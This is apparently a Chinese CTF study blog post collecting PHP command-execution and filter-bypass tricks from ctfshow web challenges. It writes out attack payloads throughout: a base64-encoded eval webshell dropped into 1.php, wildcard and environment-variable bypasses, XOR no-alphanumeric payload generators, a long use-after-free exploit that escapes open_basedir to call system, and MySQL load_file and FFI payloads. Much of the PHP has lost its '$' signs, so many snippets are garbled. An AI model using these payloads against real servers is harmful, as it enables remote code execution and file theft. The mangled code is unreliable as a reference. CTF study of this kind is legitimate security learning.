命令执行的一些骚操作

前言

​ 军训期间陆陆续续地把ctfshow里面的命令执行给做了。难度确实递增,越到后面越觉得不可思议,不看答案就完全不会。

​ 个人觉得命令执行难就难在怎么绕过那些限制。绕过方法一般为特殊函数,或者特殊符号什么的。

​ 本文主要参考了义神的博客OvO,所以本文也可以说是义神博客的阅读笔记>w<

PHP中命令执行的函数

system

最基本的执行系统命令的函数

exec

结果不会输出

passthru

执行命令后会输出结果

shell_exec

执行shell命令并将结果返回为字符串

popen

将执行后的系统命令结果用一个文件指针的形式返回。

popen的利用代码:
<?php
    cmd =_GET["cmd"];
    if(isset(cmd)){
        echo "<pre>";
        //将命令写入到文本cmd = _GET["cmd"].">> 1.txt";
        //执行系统命令
        popen(cmd , "r");
        echo "<pre>";
    //打开并读写文本文件
    fp = fopen("1.txt" , "r");
    if(fp){
        while(!feof(fp)){content = fgets(fp);
            echocontent;
        }
    }
    fclose($fp);
    }
?>

proc_popen

好像比popen多一些功能。。。我不是很懂

反引号

就是shell_exec

${phpinfo()};

注意如果是${$code}似乎就不能执行

我觉得原因是$code是一个字符串,但${}中不会讲字符串转成命令(但是eval会)

assert

<?php
    a='assert';b='phpinfo()';
    a(b);

可以成功运行

preg_replace()

还没弄懂。。。留坑

https://xz.aliyun.com/t/2557

create_function()

create_function(a,b)可以看成在文件中添加

function name(a){b}

这里的b就可以用}来闭合然后RCE了

array_map

array array_map(callable callback, arrayarr1 [, array $...])

array_map()返回一个数组,该数组包含了arr1中的所有元素被callback(回调函数)处理过之后的元素。callback接受的参数数目应该和传递给array_map()函数的数组数目一致。

call_user_func与call_user_func_array

call_user_func

可以利用assert来执行命令

<?php
    a="phpinfo()";
    call_user_func("assert",a);

双引号可有可无

我觉得这里可以出一道无字母数字RCE

call_user_func_array

mixed call_user_func_array ( callable callback , arrayparam_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

array_filter

array array_filter ( array array [, callablecallback [, int flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。array[0] = _GET['a'];
array_filter(array,'assert');

usort/uasort()

还没弄懂。。。留坑

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

基本绕过

过滤空格

${IFS}
$IFS$1
%20
<和<>
%09

过滤敏感字符

变量拼接

$a=l;$b=s;$a$b
拼接起来就是:ls(用来展示文件目录的)

利用base64编码绕过

echo xxx|base64 -d|sh

|是一种管道符,表示前面的输出作为后面语句的输入

类似的还有:

&& ---表示且,前面命令错误,就不会执行后面的命令
|| ---表示或,前面的命令正确,就不会执行后面的命令
& ---表示先执行前面语句,后面语句都要执行
;---表示依次执行语句

也可以利用base64来写马

echo PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOw==|base64 -d > 1.php

利用单引号双引号反斜杠$1$@等未初始化变量来绕过

    1.ca""t fl''ag
    2.ca\t fl\ag
    3.c1at fl@ag.php

内敛绕过,用反引号来命令执行

echo `ls`

利用Linux的环境变量

利用了字符串的拼接与截断,后面还会提到

1. echo {PATH}   ///usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
2. echo{PATH:1:9}//usr/local
3. {PATH:5:1}    //l
4.{PATH:2:1}    //s
5. {PATH:5:1}{PATH:2:1} //拼接后是ls,执行命令
6. ${PATH:5:1}s           //拼接后是ls,执行命令

关于${}

利用通配符绕过

c=/bin/c??{IFS}????????
因为我们需要cat,但是只能c??来表示,但是这样必须给我bin的路径。
c=grep{IFS}show${IFS}fla?.php
grep函数,寻找文件中有与字符串匹配的内容,并返回匹配到的
?c=/???/????64 ????.???               就是?c=/bin/base64 flag.php(web55)

过滤分号

可以用?>来闭合php代码,如web32的payload

c=include$_GET[a]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

注意这里的include$_GET[a]中间可以没有空格

查看文件

基本SHELL命令

Shell中最简单的查看文件的函数为cat,但有时候这个命令可能会被过滤,我们可以考虑一下其他操作。

tac:从文件最后一行输出到第一行(若输出的是php代码可以不用翻源代码)
rev:从文件最后一行输出到第一行,每行字符都倒转
nl:功能与cat -n相同,从第一行开始输出文件内容,且显示行号
head:显示文件开头前n行
tail:显示文件结尾前n行
awk '{printf "%s\n",0}' flag.php
c=paste{IFS}fla?.php
paste拼接文件并返回文件内容

strings

strings命令可以在对象文件或二进制文件中查找可打印的字符串
> strings flag.php

strings命令对识别随机对象文件很有用,我不是很懂...

grep

grep命令

利用php函数

函数嵌套及伪协议

可以直接在PHP中利用函数嵌套等方式来执行命令

c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

c=eval($_GET[1]);&1=system(‘nl flag.php’);

注意如果在eval中使用了${IFS}$要转义!

cmd=echo(`ls\${IFS}/`);

所以个人觉得eval($code)应该是先对$code进行运算处理再执行,怎么说呢,有些时候PHP中的字符串会先解析再代入,有时候就直接当成字符串代入了

$code="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*");等价于system(),属于是先解析再代入

在使用data伪协议时,如果php语句已经闭合,则后面加什么都可以(web39)payload:c=data://text/plain,<?php system("cat f*")?>

如果只是一个flag.txt之类的文件,可以通过include来包含

注意有时候可能要先闭合前面语句再执行:c=?><?php var_export(scandir('.'));die();

一些神仙函数(web31)

直接抄了QwQ

payload:
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
c=show_source(next(array_reverse(scandir(pos(localeconv())))));

分析函数
1. __FILE__:文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件
名。自 PHP 4.0.2 起,__FILE__ 总是包含一个绝对路径(如果是符号连接,则是解析
后的绝对路径),而在此之前的版本有时会包含一个相对路径。

2. dirname():返回路径中的目录部分
dirname(string path, intlevels = 1): string
path表示文件路径;levels表示要向上的父目录数量,整型,必须大于 0。
返回值:返回 path 的父目录。 如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。
    basename() - 返回路径中的文件名部分
    pathinfo() - 返回文件路径的信息
    realpath() - 返回规范化的绝对路径名

3.scandir():函数返回指定目录中的文件和目录的数组。
scandir(directory,sorting_order,context);
第一个参数是指定的目录,第二个参数是指定升序还是降序,默认是升序,1表示降序
第三个参数,可选,表示规定目录句柄的环境。
返回值:文件和目录的数组。

4.array_reverse():返回单元顺序相反的数组 
array_reverse(array array, boolpreserve_keys = false)
array:输入的数组。
preserve_keys:如果设置为 true 会保留数字的键。 非数字的键则不受这个设置的影响,总是会被保留。

5.next():将数组中的内部指针向前移动一位,也就是将数组序号向前移动一位。
    补充:
    current() - 返回数组中的当前值
    end() - 将数组的内部指针指向最后一个单元
    prev() - 将数组的内部指针倒回一位
    reset() - 将数组的内部指针指向第一个单元
    each() - 返回数组中当前的键/值对并将数组指针向前移动一步

6.highlight_file()和show_source():都是可以将文件的内容展示出来。
7.print_r():可以查看内容
8.pos():返回数组中当前元素的值,在每个数组的内部都有一个内部指针指着数组的当前元素,初始的时候是指向数组的第一个元素
##拓展
9.current():返回数组中当前元素的值
10.next():将内部指针指向数组中的下一个元素,并输出。
11.prev():将内部指针指向数组中的上一个元素,并输出。
12.end():将内部指针指向数组中的最后一个元素,并输出。
13.reset():将内部指针指向数组中的第一个元素,并输出。
14.ench():返回当前元素的键名和键值,并将内部指针向前移动,但是在PHP 7.2.0被废除了。
15.localeconv() 函数返回一个包含本地数字及货币格式信息的数组。

经过本地的调试,发现pos(localeconv())以及current(localeconv())的结果就是一个.

细说一下localeconv()

在这里插入图片描述

但我本地好像除了小数点字符别的都输不出来...

单一函数读取文件
echo file_get_contents("flag.php");
file_get_contents(),以字符串的形式从文件中读取内容,file_put_contents(),从文件中写入内容,可以传马进去,文件上传就是用的这个函数

readfile("flag.php");
输出文件内容

var_dump(file("flag.php"));
var_dump被禁了可以用var_export
file协议:
把整个文件读入一个数组中
file(string filename, intflags = 0, resource $context = ?): array
filename文件的路径。
返回数组形式的文件内容。数组的每个元素对应于文件中的一行(结尾会附加换行符)。 失败时,file() 返回 false

print_r(php_strip_whitespace("flag.php"));
php_strip_whitespace()将注释空白过滤后再返回文件内容
利用文件指针读文件
fread():
读取文件(可安全用于二进制文件),返回文件的字符串内容,失败时返回false
fread(fopen(filename,"r"),size);

fgets():
从文件指针中读取一行
print_r(fgets(fopen(filename, "r"))); // 读取一行

fgetc():
fgetc — 从文件指针中读取字符
fgetss():
print_r(fgetss(fopen(filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记

fgetcsv():
从文件指针中读入一行并解析 CSV 字段
print_r(fgetcsv(fopen(filename,"r"),size));

fpassthru():
输出文件指针处的所有剩余数据。
该函数将给定的文件指针从当前的位置读取到 EOF,并把结果写到输出缓冲区。
fpassthru(fopen(filename, "r")); // 从当前位置一直读取到 EOF

fscanf() — 从文件中格式化输入
print_r(fscanf(fopen("flag", "r"),"%s"))

fopen打开文件指针,popen打开文件指针
print_r(fread(popen("cat flag", "r"),size));
读文件直接写代码的形式
feof判断文件指针是否结束。
c=a=fopen("flag.php","r");while (!feof(a)) {line = fgets(a);echo line;}//一行一行读取
c=a=fopen("flag.php","r");while (!feof(a)) {line = fgetc(a);echoline;}//一个一个字符读取
c=a=fopen("flag.php","r");while (!feof(a)) {line = fgetcsv(a);var_dump($line);}
重命名flag.php
这个姿势比较骚
因为直接url/flag.php,看不到php文件
我们使用rename和copy重新命名
//用法:
copy("flag.php","flag.txt");             
rename("flag.php","flag.txt");     
其他
c=a=opendir("./"); while ((file = readdir(a)) !== false){echofile . "<br>"; };读目录
c=print_r(scandir(dirname('__FILE__')));读目录
c=a=new DirectoryIterator('glob:///*');foreach(a as f){echo(f->__toString()." ");}读目录

DirectoryIterator是一个读取文件系统目录的接口
glob:// 寻找与模式匹配的文件路径
后面的/*相当于根目录下的通配符匹配文件。

注意这里的DirectoryIterator,经常遇到

进阶操作!!

打断施法!

绕过>/dev/null 2>&1

">/dev/null 2>&1"代表让所有的输出流都丢弃到空设备中,所有不能让后面执行
我们将后面截断。用ls;%0a(%0a表示回车符),%26(不能使用&,因为使用&,就相当于get传两个参数,没有达到截断),||(前面ls执行,正确了后面就不会执行)

ob_end_clean()(web71)

直接exit()来结束程序

c=a=new DirectoryIterator("glob:///*");foreach(a as f){echo(f->__toString()." ");};exit();查看目录
c=d=opendir("../../../");while(false!==(f=readdir(d))){echo"f\n";};exit();读取目录
c=include("/flag.txt");exit();其中exit()也可以变成die(),include变成require()

Session!!!

利用session.upload_progress进行文件包含

https://www.cnblogs.com/r1kka/p/15848498.html

利用sessionid来进行命令执行

https://blog.csdn.net/miuzzx/article/details/108415301?spm=1001.2014.3001.5501

?code=system(session_id());可以成功执行

但一定要启用session,而且限制在于session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容TwT

无字母数字RCE

我觉得只有在eval($code)时才能用。。因为命令需要经过解析后才能执行

普通篇

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

方法有很多,除了异或之类的以外,还有汉字取反,自增等

贴两个比较常用的脚本

<?php

myfile = fopen("xor_rce.txt", "w");contents="";
for (i=0;i < 256; i++) {
    for (j=0; j <256 ;j++) {

        if(i<16){hex_i='0'.dechex(i);
        }
        else{hex_i=dechex(i);
        }
        if(j<16){
            hex_j='0'.dechex(j);
        }
        else{
            hex_j=dechex(j);
        }
        preg = '/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i';    // 根据题目给的正则表达式修改即可
        if(preg_match(preg , hex2bin(hex_i))||preg_match(preg , hex2bin(hex_j))){
            echo "";
        }

        else{a='%'.hex_i;b='%'.hex_j;c=(urldecode(a)^urldecode(b));
            if (ord(c)>=32&ord(c)<=126) {
                contents=contents.c." ".a." ".b."\n";
            }
        }

    }
}
fwrite(myfile,contents);
fclose(myfile);
# -*- coding: utf-8 -*-

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return output

while True:
    param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
    print(param)

进阶篇(web55)

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

这个就比较神仙了

贴个代码

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://0bb2c3a2-2646-491d-80fa-52c6bee9decc.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

利用$()~来构造数字

$(())是0
$((~$(())))是-1
$(($((~$(())))$((~$(())))))就是-2
用这种方式来构造数字

注意,对a按位取反得到的是-(a+1)

include被禁用,以及存在着open_basedir()的限制(web72)

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

贴一个exp,我不是很懂。。。

c=function ctfshow(cmd) {
    globalabc, helper,backtrace;

    class Vuln {
        public a;
        public function __destruct() {            globalbacktrace; 
            unset(this->a);backtrace = (new Exception)->getTrace();
            if(!isset(backtrace[1]['args'])) {backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public a,b, c,d;
    }

    function str2ptr(&str,p = 0, s = 8) {address = 0;
        for(j =s-1; j >= 0;j--) {
            address <<= 8;address |= ord(str[p+j]);
        }
        returnaddress;
    }

    function ptr2str(ptr,m = 8) {
        out = "";
        for (i=0; i<m; i++) {out .= sprintf("%c",(ptr&0xff));ptr >>= 8;
        }
        return out;
    }

    function write(&str, p,v, n = 8) {i = 0;
        for(i = 0;i < n;i++) {
            str[p + i] = sprintf("%c",(v & 0xff));
            v >>= 8;
        }
    }

    function leak(addr, p = 0,s = 8) {
        global abc,helper;
        write(abc, 0x68,addr + p - 0x10);leak = strlen(helper->a);
        if(s != 8) { leak %= 2 << (s * 8) - 1; }
        return leak;
    }

    function parse_elf(base) {
        e_type = leak(base, 0x10, 2);

        e_phoff = leak(base, 0x20);
        e_phentsize = leak(base, 0x36, 2);
        e_phnum = leak(base, 0x38, 2);

        for(i = 0;i < e_phnum;i++) {
            header =base + e_phoff +i * e_phentsize;p_type  = leak(header, 0, 4);p_flags = leak(header, 4, 4);p_vaddr = leak(header, 0x10);p_memsz = leak(header, 0x28);

            if(p_type == 1 && p_flags == 6) {data_addr = e_type == 2 ?p_vaddr : base +p_vaddr;
                data_size =p_memsz;
            } else if(p_type == 1 &&p_flags == 5) { 
                text_size =p_memsz;
            }
        }

        if(!data_addr || !text_size || !data_size)
            return false;

        return [data_addr, text_size,data_size];
    }

    function get_basic_funcs(base,elf) {
        list(data_addr,text_size, data_size) =elf;
        for(i = 0;i < data_size / 8;i++) {
            leak = leak(data_addr, i * 8);
            if(leak - base>0 &&leak - base<data_addr - base) {deref = leak(leak);

                if(deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            leak = leak(data_addr, (i + 4) * 8);
            if(leak - base>0 &&leak - base<data_addr - base) {deref = leak(leak);

                if(deref != 0x786568326e6962)
                    continue;
            } else continue;

            return data_addr +i * 8;
        }
    }

    function get_binary_base(binary_leak) {base = 0;
        start =binary_leak & 0xfffffffffffff000;
        for(i = 0;i < 0x1000; i++) {addr = start - 0x1000 *i;
            leak = leak(addr, 0, 7);
            if(leak == 0x10102464c457f) {
                returnaddr;
            }
        }
    }

    function get_system(basic_funcs) {addr = basic_funcs;
        do {f_entry = leak(addr);f_name = leak(f_entry, 0, 6);

            if(f_name == 0x6d6574737973) {
                return leak(addr + 8);
            }addr += 0x20;
        } while(f_entry != 0);
        return false;
    }

    function trigger_uaf(arg) {

        arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');vuln = new Vuln();
        vuln->a =arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    n_alloc = 10;contiguous = [];
    for(i = 0;i < n_alloc;i++)
        contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');abc = backtrace[1]['args'][0];helper = new Helper;
    helper->b = function (x) { };

    if(strlen(abc) == 79 || strlen(abc) == 0) {
        die("UAF failed");
    }

    closure_handlers = str2ptr(abc, 0);
    php_heap = str2ptr(abc, 0x58);
    abc_addr =php_heap - 0xc8;

    write(abc, 0x60, 2);
    write(abc, 0x70, 6);

    write(abc, 0x10,abc_addr + 0x60);
    write(abc, 0x18, 0xa);closure_obj = str2ptr(abc, 0x20);binary_leak = leak(closure_handlers, 8);
    if(!(base = get_binary_base(binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!(elf = parse_elf(base))) {
        die("Couldn't parse ELF header");
    }

    if(!(basic_funcs = get_basic_funcs(base,elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!(zif_system = get_system(basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    fake_obj_offset = 0xd0;
    for(i = 0; i<0x110;i += 8) {
        write(abc,fake_obj_offset + i, leak(closure_obj, i));
    }

    write(abc, 0x20, abc_addr +fake_obj_offset);
    write(abc, 0xd0 + 0x38, 1, 4);    write(abc, 0xd0 + 0x68, zif_system); 

    (helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

利用Mysql!(web75,web76)

首先是php与mysql连接

连接数据库
con=mysqli_connect("localhost:3306","root","root");面向过程con=new mysqli("localhost:3306","root","root");面向对象

检测数据库
if(con->connect_error())
if(!con)

创建数据库
mysqli_query(con,"CREAT DATABASE my_db")con->query("CREAT DATABASE my_db")===TRUE
创建表,mysqli_connect,传入数据库名字
CREATE TABLE my_sql(
    id INT(10),
    username VARCHAR(15),
    pasword VARCHAR(16)
)
插入表的数据
INSERT INTO my_sql(id,username,pasword) values (4,'zzy','zxc123')
if(mysql_query(con,sql))
if(con->query(sql)===TRUE)

插入多条数据
sql = "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('John', 'Doe', 'john@example.com');";sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Mary', 'Moe', 'mary@example.com');";
sql .= "INSERT INTO MyGuests (firstname, lastname, email)
VALUES ('Julie', 'Dooley', 'julie@example.com')";
if(mysql_multi_query(con,sql))
if(con->multi_query(sql)===TURE)

读取数据
select语句
where语句
order by 语句,是对某列的数据进行排序,默认升序,DESC降序
可以根据多个列进行排序。当按照多个列进行排序时,只有第一列的值相同时才使用第二列:
update更新
UPDATE table_name
SET column1=value, column2=value2,...
WHERE some_column=some_value
delete删除
DELETE FROM table_name
WHERE some_column = some_value
关闭
mysqli_close(con)
$con->close();

可以利用load_file()读文件

利用mysql load_file读文件   //过75,76
c=try {dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach(dbh->query('select load_file("/flag36d.txt")') as row)
{echo(row[0])."|"; }dbh = null;}catch (PDOExceptione) {echo $e-
>getMessage();exit(0);}exit(0);
select load_file()根据文件路径,可以读取文件

然后url编码。

FFI(web77)

FFI提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。

https://www.laruence.com/2020/03/11/5475.html

我还不是很会...

payload:c=?><?php ffi = FFI::cdef("int system(const char *command);");ffi->system("/readflag >flag.txt");exit();

环境变量拼接(web118~web124)

https://blog.csdn.net/Kracxi/article/details/121745291

https://blog.csdn.net/weixin_46081055/article/details/121721209

$PWD和${PWD}    /var/www/html  结果一样
${#PWD}         13    $PWD的长度
${PWD:3}        r/www/html   
${PWD:~3}       html
${PWD:3:1}      r
${PWD:~3:1}     h   
${SHLVL:~A}     1       A是字符串 转换为数字相当于0   
SHLVL代表shell打开的深度,进程第一次打开shell时$SHLVL=1,然后在此shell中再打开一个shell时$SHLVL=2。
因为数字被屏蔽了,所以需要${#}来替代数字,截取想要的字符串
n:
${PATH:~A}      n #如果$PATH结尾为n
${PATH:${#TERM}:${SHLVL:~A}}   # n   相当于${PATH:14:1}
l:
${#RANDOM}  # 4或者5
${PATH:${#RANDOM}:${#SHLVL:~A}}  #l
也可以用PHP_VERSION来取数字
${?}=0,${#?}=1($?是表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误)
${#IFS}=3
<A 返回的错误值 使得 $? 为1

其实还不是很明白

写在最后

这篇总结我写得不是特别满意,因为有很多地方自己没弄懂,就只是把别人的东西直接搬上来了,而且整篇文章的逻辑条理也不是特别清晰。

但不过还是努力写出了一篇总结,总比什么都写不出要好。

路漫漫其修远兮,吾将上下而求索。


告别纷扰,去寻找生活的宝藏。